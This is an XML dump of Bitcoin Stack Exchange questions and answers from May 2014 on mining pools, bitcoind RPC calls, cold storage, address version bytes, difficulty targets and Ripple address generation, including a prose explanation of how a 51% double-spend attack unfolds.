  <row Id="25102" PostTypeId="1" CreationDate="2014-05-04T09:11:41.203" Score="-1" ViewCount="194" Body="&lt;p&gt;I'm trying to set up a pool of Bitcoin Mining. I use a software program eloipool.&#xA;&lt;a href=&quot;https://gitorious.org/bitcoin/eloipool&quot; rel=&quot;nofollow&quot;&gt;https://gitorious.org/bitcoin/eloipool&lt;/a&gt;&#xA;I can not find the configuration file options to force a change of Diff. So that I want to manually specify the value Diff. Tell me how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="5406" LastEditDate="2016-04-24T09:56:38.610" LastActivityDate="2016-04-24T09:56:38.610" Title="Managing Diff variable on eloipool software" Tags="|mining-pools|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25103" PostTypeId="1" CreationDate="2014-05-04T11:11:22.800" Score="6" ViewCount="2434" Body="&lt;p&gt;&lt;code&gt;listsinceblock help&lt;/code&gt; returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listsinceblock ( &quot;blockhash&quot; target-confirmations )&#xA;&#xA;Get all transactions in blocks since block [blockhash], or all transactions if omitted&#xA;&#xA;Arguments:&#xA;1. &quot;blockhash&quot;   (string, optional) The block hash to list transactions since&#xA;2. target-confirmations:    (numeric, optional) The confirmations required, must be 1 or more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I sent a coin to my wallet and a few seconds later I executed &lt;code&gt;listsinceblock 1&lt;/code&gt;. My transaction was just broadcasted so it had 0 confirmations, as expected. Note the &lt;code&gt;target-confirmations&lt;/code&gt; parameter above which must be greater than 0 no matter what. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for my test I executed &lt;code&gt;bitcoin-cli listsinceblock 0000000008eb5d53efbb39d2cb9f595e5bd567c295936de5c2282bbb8ef46cf0 1&lt;/code&gt; which returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;transactions&quot; : [&#xA;        {&#xA;            &quot;account&quot; : &quot;&quot;,&#xA;            &quot;address&quot; : &quot;mzE6DJMHPghYpVg4GCurMbxSSXBfW1KCFH&quot;,&#xA;            &quot;category&quot; : &quot;receive&quot;,&#xA;            &quot;amount&quot; : 1.00000000,&#xA;            &quot;confirmations&quot; : 0,&#xA;            &quot;txid&quot; : &quot;917248d57293a7fd3a88aa3a26026d2e4d6a1d4eef898519b20419f2339c265c&quot;,&#xA;            &quot;walletconflicts&quot; : [&#xA;            ],&#xA;            &quot;time&quot; : 1399200157,&#xA;            &quot;timereceived&quot; : 1399200157&#xA;        }&#xA;    ],&#xA;    &quot;lastblock&quot; : &quot;0000000004ba22e9f8cea2e843b34f7eeaa2c3b7004ddcf19bfd8af0215fc0cc&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the above transaction has 0 confirmations, however listsinceblock is supposed to operate beyond 1 confirmations (which is weird, as I am polling &lt;code&gt;listsinceblock&lt;/code&gt; to get new transactions that are always unconfirmed, after Gavin's tip on: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1725/how-to-know-there-is-a-new-transaction&quot;&gt;How to know there is a new transaction?&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-06-26T09:33:43.493" Title="listsinceblock parameter: target-confirmations" Tags="|bitcoind|json-rpc|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25104" PostTypeId="1" AcceptedAnswerId="32067" CreationDate="2014-05-04T15:48:43.503" Score="1" ViewCount="264" Body="&lt;p&gt;I'm running a bitcoind on my web server now. I would like to generate deterministic address (HD Wallet) and then check how much coin being received on such address. I'm looking at the Server API and it's quoting that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getreceivedbyaddress &amp;lt;bitcoinaddress&amp;gt; [minconf=1]&lt;/code&gt;&#xA;Returns the amount received by &lt;code&gt;&amp;lt;bitcoinaddress&amp;gt;&lt;/code&gt; in transactions with at least &lt;code&gt;[minconf]&lt;/code&gt; confirmations. It correctly handles the case where someone has sent to the address in multiple transactions. Keep in mind that addresses are only ever used for receiving transactions. Works only for addresses in the local wallet, external addresses will always show 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's being say the address need to be present in the local wallet for the check to be effective? Since I'm generating deterministic address outside of the bitcoind active wallet, is it considered non-local? If yes, how can I know the received amount?&lt;/p&gt;&#xA;" OwnerUserId="15490" LastActivityDate="2014-10-22T02:31:58.480" Title="Checking the received fund on an address of an HD Wallet" Tags="|bitcoind|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25106" PostTypeId="1" CreationDate="2014-05-05T00:03:18.747" Score="1" ViewCount="159" Body="&lt;p&gt;I am building an exchange for crypto currency. I need to be able to transfer tx from cold storage(offline) to hot wallet(online system) for submission. Usb stick is suitable for an individual user mining but is not suitable in an exchange environment.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option I am proposed is to build an  api that sends tx over ethernet cable to and from cold/hot storage. But in this case the cold storage wont really be offline, it would still be connected. So what other options do I have that could work well for an exchange?&lt;/p&gt;&#xA;" OwnerUserId="14151" LastEditorUserId="5406" LastEditDate="2014-05-07T10:39:09.470" LastActivityDate="2015-02-01T17:46:44.767" Title="How to transfer signed tx from coldstorage to online system for submission into blockchain?" Tags="|coldstorage|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25107" PostTypeId="1" AcceptedAnswerId="25126" CreationDate="2014-05-05T03:21:00.830" Score="1" ViewCount="601" Body="&lt;p&gt;I run a p2pool node (&lt;a href=&quot;http://blisterpool.com&quot; rel=&quot;nofollow&quot;&gt;http://blisterpool.com&lt;/a&gt;) and someone just connected with an invalid bitcoin address. They have significant hashpower, and have already started generating p2pool shares...but their address is invalid, so what will p2pool do when it comes time to pay out the block?&lt;/p&gt;&#xA;" OwnerUserId="15622" LastActivityDate="2014-05-05T21:59:09.943" Title="What happens to a p2pool payment with an invalid bitcoin address as the username?" Tags="|block|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25109" PostTypeId="2" ParentId="22729" CreationDate="2014-05-05T04:36:54.620" Score="0" Body="&lt;p&gt;I know &lt;a href=&quot;http://darkwallet.is&quot; rel=&quot;nofollow&quot;&gt;darkwallet.is&lt;/a&gt; supports multisignature transactions and multi-sig wallets.  I haven't used them.&lt;/p&gt;&#xA;" OwnerUserId="15623" LastEditorUserId="18227" LastEditDate="2015-01-28T19:09:09.107" LastActivityDate="2015-01-28T19:09:09.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25111" PostTypeId="1" CreationDate="2014-05-05T05:45:40.180" Score="-2" ViewCount="212" Body="&lt;p&gt;How to transfer different cryptocoins from one daemon to another. I want to send currency from dogecoin to bitcoin, I think trading engine do such process. Can I implement such process across local daemons&lt;/p&gt;&#xA;" OwnerUserId="12634" LastActivityDate="2014-05-05T06:49:54.347" Title="How to transfer different cryptocoins from one daemon to another" Tags="|transactions|bitcoind|client|trading|currencies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25112" PostTypeId="1" CreationDate="2014-05-05T06:02:55.493" Score="0" ViewCount="90" Body="&lt;p&gt;I want to know is it possible to back-up manually from wallet.dat. I am running Dogecoin daemon locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;say user (user1) have some dogecoin balance in addr1  &lt;/li&gt;&#xA;&lt;li&gt;another user (user2) have dogecoin balance in addr2&lt;/li&gt;&#xA;&lt;li&gt;I want to back-up only user2 not user1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any way to limit the back-up data in wallet.dat file?&lt;/p&gt;&#xA;" OwnerUserId="14629" LastEditorUserId="2306" LastEditDate="2014-12-01T15:25:38.953" LastActivityDate="2014-12-01T15:25:38.953" Title="Can I limit the back-up data in wallet.dat?" Tags="|bitcoind|backup|wallet.dat|dogecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25113" PostTypeId="2" ParentId="25111" CreationDate="2014-05-05T06:49:54.347" Score="5" Body="&lt;p&gt;How do you transfer your potatos into rice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You go to market, find somebody who wants to &quot;transfer&quot; his rice into potatos and exchange it with him. There's no direct way of transfering one commodity into another (except perhaps alchemy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, you can't transfer cryptocoins across different cryptocoin daemons, that's impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's plenty markets with crypto coins out there, try googling &lt;strong&gt;cryptocurrency exchange&lt;/strong&gt;. &lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-05-05T06:49:54.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25114" PostTypeId="2" ParentId="25112" CreationDate="2014-05-05T07:02:20.060" Score="1" Body="&lt;p&gt;No, this is not possible without custom software or a lot of extra work. The wallet.dat file contains all the private keys, and the reference client doesn't have a way to split it up.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-05T07:02:20.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25115" PostTypeId="1" CreationDate="2014-05-05T07:43:30.363" Score="1" ViewCount="117" Body="&lt;p&gt;Given I want to transfer bitcoin from A to B, and then from B to C. I broadcast two transactions to the network (with the same transaction fee), in order: A to B and then B to C. Is there any chance that the second transaction gets processed before the first (and thus rendered invalid because the bitcoin has not yet arrived in B)?&lt;/p&gt;&#xA;" OwnerUserId="15490" LastEditorUserId="3364" LastEditDate="2014-08-03T14:39:27.810" LastActivityDate="2014-08-03T14:39:27.810" Title="What is the chance of transactions being processed in different order that they are broadcast" Tags="|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25116" PostTypeId="2" ParentId="25106" CreationDate="2014-05-05T08:08:47.647" Score="0" Body="&lt;p&gt;I'd recommend using multisig for your 'hot' wallet (selfish plug to bitgo).  Then you can periodically manually transfer from your cold storage savings, but have most of your coins be protected with signatures from at least 2 systems.&lt;/p&gt;&#xA;" OwnerUserId="5836" LastActivityDate="2014-05-05T08:08:47.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25117" PostTypeId="2" ParentId="25115" CreationDate="2014-05-05T09:32:48.200" Score="5" Body="&lt;p&gt;The clients receiving B-&gt;C first will keep it in the memory (transaction pool) and denote is as an orphaned transaction, until they find A-&gt;B. So unless network propagation is terribly slow: no, it will not be rendered invalid.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-05-05T09:32:48.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25118" PostTypeId="1" CreationDate="2014-05-05T14:04:08.510" Score="1" ViewCount="622" Body="&lt;p&gt;i looked at the link: &lt;a href=&quot;http://brainwallet.org/&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;witch generate offline wallets for all major coins,&#xA;i noticed that the same Passphrase generate different  [Private Key&amp;amp;Address] pairs for eatch coin type, witch means eatch coin has a public shared id (or salt) added to the mix of the hash, am i right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how can i get that public coins key? and how can i edit the javascript  to support other scrypt coins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eatch time i change coin in the menu a function is called,&#xA;i got that code of the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  PUBLIC_KEY_VERSION = parseInt($(this).attr('data-target'));&#xA;  PRIVATE_KEY_VERSION = (PUBLIC_KEY_VERSION+128)&amp;amp;255;&#xA;  ADDRESS_URL_PREFIX = $(this).attr('href');&#xA; ....&#xA;    var eckey = gen_eckey;&#xA;    var compressed = gen_compressed;&#xA;    var hash_str = pad($('#hash').val(), 64, '0');   &#xA;    var hash = Crypto.util.hexToBytes(hash_str);&#xA;&#xA;    var hash160 = eckey.getPubKeyHash();        &#xA;    var h160 = Crypto.util.bytesToHex(hash160);&#xA;    $('#h160').val(h160);&#xA;&#xA;    var addr = new Bitcoin.Address(hash160);&#xA;    addr.version = PUBLIC_KEY_VERSION;&#xA;&#xA;    $('#addr').val(addr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when addr is the wallet address....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the data-target  for the links are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin : 0x00&#xA;dogecoin: 0x1E&#xA;litecoin: 0x30&#xA;namecoin: 0x34&#xA;.&#xA;.&#xA;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this is the uniqe identifire of the coin? is if possible? &#xA;it's just a single byte...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not than what is?, and if yes how can i get the identifier of other coins, not listed (any way to extract it from the network/wallet software)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="15626" LastActivityDate="2014-05-05T15:42:05.020" Title="what is the difference between eatch coins wallet address,what is the coin public id/salt?" Tags="|wallet|scrypt|algorithms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25119" PostTypeId="2" ParentId="25118" CreationDate="2014-05-05T15:42:05.020" Score="2" Body="&lt;p&gt;Yes, currencies like Bitcoin typically have a version byte that gets stored in the address which would be the &lt;code&gt;PUBLIC_KEY_VERSION&lt;/code&gt; in the code you found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/List_of_address_prefixes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another byte used for private keys as well. See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Wallet_import_format&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These bytes can't really uniquely identify a coin but they should make it harder for users to accidentally send Bitcoin to a Dogecoin address or make other mistakes like that.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2014-05-05T15:42:05.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25120" PostTypeId="1" CreationDate="2014-05-05T15:58:16.817" Score="4" ViewCount="370" Body="&lt;p&gt;I am a developer building an application that accepts payments in cryptocurrencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible, in the occurence of a 51% attack, to build a script that detect this, so we can suspend withdrawals automatically?&lt;/p&gt;&#xA;" OwnerUserId="15628" LastEditorUserId="5406" LastEditDate="2015-06-09T22:45:06.407" LastActivityDate="2015-06-09T22:45:06.407" Title="Can I detect a 51% attack as a developer" Tags="|security|majority-attack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25121" PostTypeId="2" ParentId="25120" CreationDate="2014-05-05T16:32:17.977" Score="5" Body="&lt;p&gt;Generally, no, not until it's too late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical 51% attack would look like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Attacker privately starts mining their own chain, which diverges from the main chain at some block N.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Attacker deposits coins to your business, sending them from address A.  Call this transaction X.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Attacker inserts in his own chain a transaction X' which conflicts with X; typically X' sends the coins from address A to another address belonging to the attacker.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Attacker waits for several confirmations of transaction X, in blocks N+1, ..., N+6 (replace 6 with however many confirmations your business wants) of the main chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once there have been enough confirmations to satisfy you, you deliver goods or services to attacker.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Attacker releases his own chain, which now has blocks up to, say, N+50.  Being longer, this chain is accepted by the network.  This chain doesn't contain the transaction X but instead X', so you don't have the coins you thought you did.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Notice that up until Step 6, everything on the network looks completely normal; only the attacker knows what is going on.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-05T16:32:17.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25122" PostTypeId="1" AcceptedAnswerId="25123" CreationDate="2014-05-05T17:48:52.387" Score="2" ViewCount="1520" Body="&lt;p&gt;In the Litecoin source it is written:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static CBigNum bnProofOfWorkLimit(~uint256(0) &amp;gt;&amp;gt; 20); // Litecoin: starting difficulty is 1 / 2^12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does that compute? &lt;code&gt;~uint256(0) &amp;gt;&amp;gt; 20&lt;/code&gt; is &lt;code&gt;0x00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/code&gt;. Hashes have an equal probability of being any given number, so the chance of getting a valid Litecoin hash (i.e. one that is smaller than this number) is &lt;code&gt;0x00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff / 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/code&gt; = &lt;code&gt;1 / 2^20&lt;/code&gt;, &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;1 / 2^12&lt;/code&gt;. Is this a typo in the Litecoin source code or am I misunderstanding something?&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2014-05-05T18:28:57.893" Title="How does a proof of work limit of `~uint256(0) &gt;&gt; 20` translate into a difficulty of `1 / 2^12`?" Tags="|litecoin|development|difficulty|hash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25123" PostTypeId="2" ParentId="25122" CreationDate="2014-05-05T18:01:18.210" Score="2" Body="&lt;p&gt;To use the terminology on &lt;a href=&quot;https://litecoin.info/Difficulty&quot; rel=&quot;nofollow&quot;&gt;Litecoin's wiki&lt;/a&gt;, &lt;code&gt;~uint256(0) &amp;gt;&amp;gt; 20&lt;/code&gt; is the target, and &lt;code&gt;1 / 2^12&lt;/code&gt; is (approximately) the difficulty. You can see that by running the following in Python (or anything that can handle calculations on large numbers).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;target = 0x00000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff # or 2**236-1&#xA;diff = 0xFFFF * 2**208 / target&#xA;print(diff) # 0.00024413689970970154&#xA;print(1/2**12) # 0.000244140625&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe the &lt;code&gt;1 / 2^20&lt;/code&gt; figure you calculated is the probability that each hash will succeed, which is not the same as (although related to) the difficulty.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-05T18:28:57.893" LastActivityDate="2014-05-05T18:28:57.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25125" PostTypeId="1" CreationDate="2014-05-05T20:22:25.847" Score="5" ViewCount="311" Body="&lt;p&gt;I am currently trying to set up an application using the BTCJam api. I think the api could be very useful, but I have been unable to get it to work fully, and since support isn't responding, I thought I would post here. I am using https basic authentication (not oauth). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, while I am able to make the request for current open listings (the &quot;listings&quot; method), none of the other requests work. When I try to get data on my own profile (the &quot;me&quot; method) or on my open listings (the &quot;my_open_listings&quot; method), I get an internal server error (500). Is anyone else having this problem? Are those methods simply not available right now, or is there a difference in how I should be making the &quot;listings&quot; call, which is working for me, vs. the other GET requests listen on the api FAQ page? From the documentation, it seems that all GET requests are authenticated the same way, with all settings and parameters (none) the same, but just a different method. So why is one of the methods working while the other 4 throw 500 errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And second, though there is plenty of information about the user behind any given listing, there is one giant absence: the user id/alias. Am I missing something? Is there some other way to find out the alias behind a given listing? Or did they intentionally leave that information out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on either of these matters would be greatly appreciated. If support gets back to me, I will post their answers here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="6235" LastActivityDate="2017-07-02T21:16:41.907" Title="BTCJam API 500 errors" Tags="|client|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25126" PostTypeId="2" ParentId="25107" CreationDate="2014-05-05T21:43:17.527" Score="1" Body="&lt;p&gt;If it's actually an invalid address (that is to say it won't hash) such as &lt;code&gt;Address50&lt;/code&gt; then vanilla p2pool will default to sending you (the node) all of the rewards for that miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the address is valid (will hash) but no one holds the corresponding private keys for said address, like &lt;code&gt;1BitcoinEaterAddressDontSendf59kuE&lt;/code&gt;, then the rewards will sit in limbo for all eternity. &lt;/p&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="2734" LastEditDate="2014-05-05T21:59:09.943" LastActivityDate="2014-05-05T21:59:09.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25127" PostTypeId="1" CreationDate="2014-05-05T23:31:19.097" Score="0" ViewCount="686" Body="&lt;p&gt;When Creating an Altcoin for fun, what variable/attribute do I change in main.cpp file to increase/lower the time it takes for confirmations to take place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also can the confirmation times be changed again after coin is re-compiled/re-built?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15632" LastEditorUserId="15632" LastEditDate="2014-05-05T23:39:32.677" LastActivityDate="2017-07-24T11:13:38.757" Title="Creating An Altcoin: How to Lower or Increase Confirmation Times?" Tags="|alternatives|confirmations|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25128" PostTypeId="1" CreationDate="2014-05-05T23:47:14.650" Score="0" ViewCount="196" Body="&lt;p&gt;Can the bitcoin MAX_MONEY attribute simply be changed from 21 Million to a higher number? If not what prevents this from being done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen to existing addresses and accounts if MAX_MONEY is changed and recompiled?&lt;/p&gt;&#xA;" OwnerUserId="15632" LastActivityDate="2014-05-05T23:47:14.650" Title="What Prevents the number of Bitcoins from being increased? After 21 Million?" Tags="|blockchain|future-proof|architecture|" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-07T09:41:42.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="25129" PostTypeId="2" ParentId="25127" CreationDate="2014-05-06T00:17:34.157" Score="1" Body="&lt;p&gt;See the variable &lt;code&gt;nTargetSpacing&lt;/code&gt;.  The difficulty adjustments will try to steer the average block time towards this value (in seconds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't change this at runtime.  In fact, you can't easily change it at all once you've released your coin.  All clients on the network need to agree on this number, since it is used to calculate the required difficulty.  If you change it after release, then there will be a disagreement between old and new clients as to whether various blocks are valid, and your coin will have a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9173/what-is-a-hardfork&quot;&gt;hard fork&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-05-06T00:17:34.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25130" PostTypeId="1" CreationDate="2014-05-06T00:32:12.377" Score="1" ViewCount="876" Body="&lt;p&gt;I want to show information about my bitcoin node on a website.. how can I do this with windows + php + html + javascript + rpc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something like that but with more information and perhaps more dynamic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example page:   &lt;code&gt;http://199.58.210.124/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7294" LastActivityDate="2014-05-07T20:39:29.047" Title="I want to display information about my bitcoin node on a webpage (php or html)" Tags="|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25131" PostTypeId="1" CreationDate="2014-05-06T00:48:25.907" Score="0" ViewCount="1331" Body="&lt;p&gt;I am trying to recreate the Ripple address from &lt;a href=&quot;https://ripple.com/wiki/Account_Family#Test_Vectors&quot; rel=&quot;nofollow&quot;&gt;Account Family wiki page&lt;/a&gt; and I am having some problems.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have the private generator of &lt;code&gt;7CFBA64F771E93E817E15039215430B53F7401C34931D111EAB3510B22DBB0D8&lt;/code&gt;, and the hex public generator of &lt;code&gt;0388E5BA87A000CB807240DF8C848EB0B5FFA5C8E5A521BC8E105C0F0A44217828&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I start generating the &quot; the hash of (the 33-byte public generator + 32-bit sequence number in big-endian order + the 32-bit sub-sequence number in big-endian order&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I try &lt;code&gt;71ED064155FFADFA38782C5E0158CB260000000000000000&lt;/code&gt;, which generates &lt;code&gt;9F407F7EC35B9AB44831BF0D47CDDAEF7BC11107CE1D10A65368A12B9338F82E&lt;/code&gt; - this result is bigger than the generator, so I increment the sub-sequence&lt;/li&gt;&#xA;&lt;li&gt;I try &lt;code&gt;71ED064155FFADFA38782C5E0158CB260000000000000001&lt;/code&gt;, which generates &lt;code&gt;3545C8FE25A89E83287B79D186018D8600A7D5249673FB6D44A77FB12062203B&lt;/code&gt; - which is good.&lt;/li&gt;&#xA;&lt;li&gt;I add private generator &lt;code&gt;7CFBA64F771E93E817E15039215430B53F7401C34931D111EAB3510B22DBB0D8&lt;/code&gt; to what I just generated &lt;code&gt;3545C8FE25A89E83287B79D186018D8600A7D5249673FB6D44A77FB12062203B&lt;/code&gt;, and I get the result &lt;code&gt;B2416F4D9CC7326B405CCA0AA755BE3B401BD6E7DFA5CC7F2F5AD0BC433DD113&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The compressed public key corresponding to that is &lt;code&gt;02FA95E05F5DA5A433F7B1EE4682DAB44AF28FBC04B485993EC2E516C1D3C30D73&lt;/code&gt;, but in the example the compressed public key is &lt;code&gt;03fa25b68da6ff6832e4462fdfb9a2aaa58888c0ed17285ffe92e4465e0c6e782a&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where did I make a mistake?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-05-06T17:54:08.157" Title="Generating Ripple address" Tags="|address|development|ripple|address-generation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25132" PostTypeId="1" CreationDate="2014-05-06T01:33:30.723" Score="2" ViewCount="134" Body="&lt;p&gt;I am looking for data about stolen bitcoins. Is somewhere statistics about how many bitcoins were stolen etc.? I only know that bitcoins were stolen in Mt.Gox and Flexicoin...&lt;/p&gt;&#xA;" OwnerUserId="15182" LastEditorUserId="2306" LastEditDate="2014-10-19T23:48:56.010" LastActivityDate="2014-10-19T23:48:56.010" Title="Where are statistics data about stolen bitcoins and successful attacks?" Tags="|history|stocks|wallet-security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25133" PostTypeId="1" CreationDate="2014-05-06T05:06:47.903" Score="5" ViewCount="468" Body="&lt;p&gt;I want to know the advantages and disadvantages between Ripple payment verification system and centralized authority's payment verification system.&lt;/p&gt;&#xA;" OwnerUserId="14928" LastEditorUserId="5406" LastEditDate="2018-06-22T16:54:24.320" LastActivityDate="2018-06-22T16:54:24.320" Title="Pros and Cons between Ripple payment verification and centralized authority's payment verification" Tags="|ripple|protocol|architecture|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25134" PostTypeId="1" AcceptedAnswerId="25143" CreationDate="2014-05-06T06:53:34.763" Score="2" ViewCount="615" Body="&lt;p&gt;Why does ripple need to maintain a long ledger? Why is it not enough to maintain only the most previous transaction details? What is the purpose of having a long history ledger?&lt;/p&gt;&#xA;" OwnerUserId="14928" LastActivityDate="2014-05-06T17:04:30.730" Title="Why does Ripple needs to have a long ledger?" Tags="|protocol|ripple|architecture|consensus|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
